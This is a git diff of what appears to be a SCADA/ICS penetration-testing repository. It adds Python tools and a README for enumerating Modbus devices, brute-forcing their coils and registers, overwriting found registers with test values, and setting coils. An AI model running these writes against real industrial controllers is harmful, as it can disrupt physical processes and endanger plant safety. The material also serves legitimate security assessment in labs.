text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + 